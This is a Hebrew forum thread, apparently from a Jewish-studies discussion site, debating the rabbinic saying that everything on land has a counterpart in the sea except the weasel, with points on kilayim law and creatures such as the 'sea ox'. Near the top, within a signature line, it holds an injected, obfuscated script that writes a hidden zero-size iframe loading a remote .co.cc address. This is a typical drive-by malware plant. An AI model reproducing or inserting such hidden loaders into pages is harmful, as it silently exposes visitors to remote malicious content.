כל שיש ביבשה יש בים חוץ מן החולדה

__נוספה הדגשה לציטוטים מיהי אור כדי להבדיל בין דבריו לדברי._______________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

תוקן על ידי מיימוני ב- 07/11/2011 07:29:07

התלמוד הרי מביא את אותה הבריתא וגורס בה 'כבני אדם'.

הכינוי 'בני ימא' אכן מעורר אסוציאציה של בנות ים, אבל כל המשמעות של בנות ים היא שהן נשים בתולות, זה לא יכול להתחלף בבני ים. ולכן המשמעות של בני ימא היא כפי שכתב פרזנט לעיל.

שיבולייהו

אין ספק שהגדרות לפי אסוציאציה הן שבריריות וכנגד כל מערכת אסוציאטיבית שיצור אחד, יוכל אחר להציב אחרת. אבל נראה לי שחכמים לא החשיבו את החרקים בתוך המערכת של 'חיות' בים וביבשה.

מימוני

כתבת שהרעיון שכל שיש ביבשה יש בים הוא מפני שהכל רמוז בתורה, אבל לא נראה כך בגמרא בכלל, הקביעה הזו נשנתה לגבי כלאים בתוספתא כלאים פ"ה "כל שיש ביבשה יש בים הרבה בים שאין ביבשה אין מין חולדה בים", ואמוראים שאלו היכן זה רמוז והשיבו, כפי שעשו לגבי דברים שונים. אבל הקביעה הזו אינה קשורה כלל לרעיון שהכל רמוז בתורה.

בקיצור, אתה עוסק בנושא צדדי מאד שמובא אחר כך בגמרא, ובו עוסקים בלמצוא מקור או רמז או אסמכתא לדבר זה, אבל הידיעה הזו כלל לא הוסקה מן התורה, בכל אופן לא מה שכתוב בטקסט לפנינו, ולא יותר מכל משנה או תוספתא אחרים העוסקים בנושאים דומים.

השאלה מה היו המקורות שלהם, עולה לגבי הרבה קביעות של חכמים, ולא קשורה דוקא במקרה זה. וסביר שהיו דעות מקובלות בנושא, והם קיבלו את מה שחכמי דורם אמרו, בדיוק כפי שאנחנו מקבלים את מה שחכמי הדור אומרים בתחומי ביולוגיה. בתחומים בהם יכלו לבדוק בעצמם, כמובן שאין להניח שהם בהכרח קבלו דעת אחרים, כי אפשר שבדקו, כמו שאומר רב שגדל שמונה עשר חודש בין רועי בקר כדי להבחין ולדעת תכונות שונות של בהמה ושל מומי בהמה.

הנקודה החשובה ביותר לדעתי היא ההקשר בו נאמרו הדברים, התוספתא בכלאים עוסקת במינים שמותר להרביען זה עם זה, בדרכים להבדיל בין חיה לבין בהמה, שהם נושאים הלכתיים מובהקים. והשאלה היא האם יש הקשר הלכתי גם לזהות מינים שבים וביבשה? האם מישהו חשב שאפשר להרביע ביניהם? או שמא קשור הדבר לספק של מנהיג בעיזא ושיבוטא? וזה תמוה שאם כן מדוע מסתפקים בגמרא בעיזא ושיבוטא ולא הביאו ראיה מן התוספתא שאסור אא"כ הוא אותו מין. (ובערוך השלחן הביא מי שפירש ששיבוטא היא עז הים, ולכן הסתפקו בה..).

אבל ברור שלא מדובר שיהיו אותו מין, שהרי פרת ים כבש ים צבי ים ויחמור ים אינם בהכרח בעלי סנפיר וקשקשת, ואיך יהיו טהור וטמא מין אחד? אמנם לגבי כלב ים נפסק ברמב"ם מאכלות אסורות ב' יב' שהוא מין טמא, אבל אינו דג. אבל לגבי 'חמור הים' פסקו בגמרא ע"ז לט. שהוא טהור, ואילו 'שור הים' הוא טמא.

אגב, מכאן מוכח שלא מדובר בדמיון אמיתי, אלא באיזה שהוא סימן, כעין שבב"ב עד. זיהו את 'עז הים' על פי העובדה שיש לה קרניים. שהרי הדיון שם בע"ז נשמע מעשי, על דג שהכירו וקראו לו 'שור הים', ומכיון שאנו יודעים שאין דג שבאמת דומה לשור, ובודאי לא מהדגים הנאכלים, זה אומר שהדמיון הסתכם באיזה שהוא סוג של אסוציאציה. וזה אומר שברור שהם אינם באמת שוים בשום קשר, ולא מדובר אלא בהשקפה סמלית. וכן בב"ב עד: הראם שבים הוא הלויתן (ארזילי דימא). המשותף לשניהם שהם יצורים ענקיים.

ההלכה הקודמת גם היא הלכתית מובהקת "כל שיש בישוב יש במדבר הרבה יש במדבר ואין בישוב", הכוונה שכשם שיש שור עז וכבש או כלב וחתול בבית, יש כאלו גם ממין בר, ואין הם כלאיים זה בזה. ולכן יש כאן ידיעה הלכתית על מינים שבמדבר שנראים שונים חיצונית אבל מותרים בהרבעה והנהגה עם מינים שבישוב.

ואולי גם ההלכה הבאה אינה אלא השלמה של תפיסת עולם, כמו שבמדבר יש בבואה של הישוב ועוד הרבה יותר, כך גם בים יש בבואה של הישוב ועוד הרבה יותר.


אגב, טעם העץ והפרי שוים אין זה אומר שאפשר לעשות ריבה מן העץ, יותר נראה שהכוונה להבדיל מכל עץ שטעמו כטעם הגזעים האחרים שסביבו, טעם עץ האתרוג מכיל טעם שוה לפרי, יש בו מתיקות / מרירות / משהו אחר דומה. יש בו שוויון בין העץ לפרי. גם את זה צריך לבדוק כמובן. אבל אני בכל מקרה מדבר על הפרשנות של מה שחכמים אמרו.